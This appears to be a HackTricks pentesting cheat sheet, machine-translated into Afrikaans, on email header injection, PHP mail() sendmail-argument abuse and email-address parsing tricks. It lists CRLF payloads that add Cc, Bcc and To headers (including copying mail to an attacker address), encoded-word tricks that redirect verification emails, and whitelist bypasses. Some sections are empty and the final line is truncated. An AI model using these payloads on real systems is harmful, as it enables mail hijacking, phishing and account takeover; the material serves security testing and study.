# Email Injections
\
Gebruik [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_content=email-injections) om maklik **werkvloei** te bou en te **automate** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapstools.\
Kry Toegang Vandag:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=email-injections" %}
{% hint style="success" %}
Leer & oefen AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Leer & oefen GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
## Inject in gestuurde e-pos
### Inject Cc en Bcc na sender argument
```
From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com
```
Die boodskap sal na die ontvanger en ontvanger1 rekeninge gestuur word.
### Inject argument
```
From:sender@domain.com%0ATo:attacker@domain.com
```
Die boodskap sal na die oorspronklike ontvanger en die aanvaller rekening gestuur word.
### Injeksie Onderwerp argument
```
From:sender@domain.com%0ASubject:This is%20Fake%20Subject
```
Die vals onderwerp sal by die oorspronklike onderwerp gevoeg word en in sommige gevalle dit vervang. Dit hang af van die e-posdiens se gedrag.
### Verander die liggaam van die boodskap
Injek 'n twee-lyn voeding, skryf dan jou boodskap om die liggaam van die boodskap te verander.
```
From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message.
```
### PHP mail() funksie eksploitering
```bash
# The function has the following definition:
php --rf mail
Function [ function mail ] {
- Parameters [5] {
Parameter #0 [ $to ]
Parameter #1 [ $subject ]
Parameter #2 [ $message ]
Parameter #3 [ $additional_headers ]
Parameter #4 [ $additional_parameters ]
}
}
```
#### Die 5de parameter ($additional\_parameters)
Hierdie afdeling gaan gebaseer wees op **hoe om hierdie parameter te misbruik, veronderstel dat 'n aanvaller dit beheer**.
Hierdie parameter gaan by die opdraglyn gevoeg word wat PHP gaan gebruik om die binêre sendmail aan te roep. Dit sal egter gesuiwer word met die funksie `escapeshellcmd($additional_parameters)`.
'n Aanvaller kan **uittrekparameters vir sendmail inspuit** in hierdie geval.
#### Verskille in die implementering van /usr/sbin/sendmail
**sendmail** koppelvlak word **verskaf deur die MTA e-pos sagteware** (Sendmail, Postfix, Exim ens.) wat op die stelsel geïnstalleer is. Alhoewel die **basiese funksionaliteit** (soos -t -i -f parameters) dieselfde bly vir kompatibiliteitsredes, **verskil ander funksies en parameters** grootliks, afhangende van die geïnstalleerde MTA.
Hier is 'n paar voorbeelde van verskillende man bladsye van die sendmail opdrag/koppelvlak:
* Sendmail MTA: http://www.sendmail.org/\~ca/email/man/sendmail.html
* Postfix MTA: http://www.postfix.org/mailq.1.html
* Exim MTA: https://linux.die.net/man/8/eximReferences
Afhangende van die **oorsprong van die sendmail** binêre is verskillende opsies ontdek om dit te misbruik en l**eak lêers of selfs arbitrêre opdragte uit te voer**. Kyk hoe in [**https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html**](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)
## Inspuit in die e-pos naam
{% hint style="danger" %}
Let daarop dat as jy daarin slaag om 'n rekening in 'n diens met 'n arbitrêre domeinnaam (soos Github, Gitlab, CloudFlare Zero trust...) te skep en dit te verifieer deur die verifikasie-e-pos in jou e-posadres te ontvang, jy dalk toegang kan verkry tot sensitiewe plekke van die slagoffer maatskappy
{% endhint %}
### Geignoreerde dele van 'n e-pos
Die simbole: **+, -** en **{}** kan in seldsame gevalle gebruik word vir etikettering en word deur die meeste e-pos bedieners geignoreer
* Byvoorbeeld: john.doe+intigriti@example.com → john.doe@example.com
**Kommentaar tussen hakies ()** aan die begin of die einde sal ook geignoreer word
* Byvoorbeeld: john.doe(intigriti)@example.com → john.doe@example.com
### Whitelist omseiling
### Aanhalings
### IP's
Jy kan ook IP's as domeinnames tussen vierkantige hakies gebruik:
* john.doe@\[127.0.0.1]
* john.doe@\[IPv6:2001:db8::1]
### E-pos Kodering
Soos verduidelik in [**hierdie navorsing**](https://portswigger.net/research/splitting-the-email-atom), kan e-posname ook gekodeerde karakters bevat:
* **PHP 256 oorgeloop**: PHP `chr` funksie sal voortgaan om 256 by 'n karakter te voeg totdat dit positief word en dan die operasie `%256` uitvoer.
* `String.fromCodePoint(0x10000 + 0x40) // 𐁀 → @`
{% hint style="success" %}
Die doel van hierdie truuk is om te eindig met 'n inspuiting soos `RCPT TO:<"collab@psres.net>collab"@example.com>`\
wat die verifikasie-e-pos na 'n ander e-posadres as die verwagte een sal stuur (dus om 'n ander e-posadres binne die e-posnaam in te voer en die sintaksis te breek wanneer die e-pos gestuur word)
{% endhint %}
Verskillende kodering:
```bash
# Format
=? utf-8 ? q ? =41=42=43 ?= hi@example.com --> ABChi@example.com
# =? -> Start of encode
# utf-8 -> encoding used
# ? -> separator
# q -> type of encoding
# ? -> separator
# =41=42=43 -> Hex encoded data
# ?= end of encoding
# Other encodings, same example:
# iso-8859-1
=?iso-8859-1?q?=61=62=63?=hi@example.com
# utf-8
=?utf-8?q?=61=62=63?=hi@example.com
# utf-7
=?utf-7?q??=hi@example.com
# q encoding + utf-7
=?utf-7?q?&=41?=hi@example.com
# base64
=?utf-8?b?QUJD?=hi@example.com
# bas64 + utf-7
=?utf-7?q??=hi@example.com
#punycode
x@xn--svg/-9x6 → x@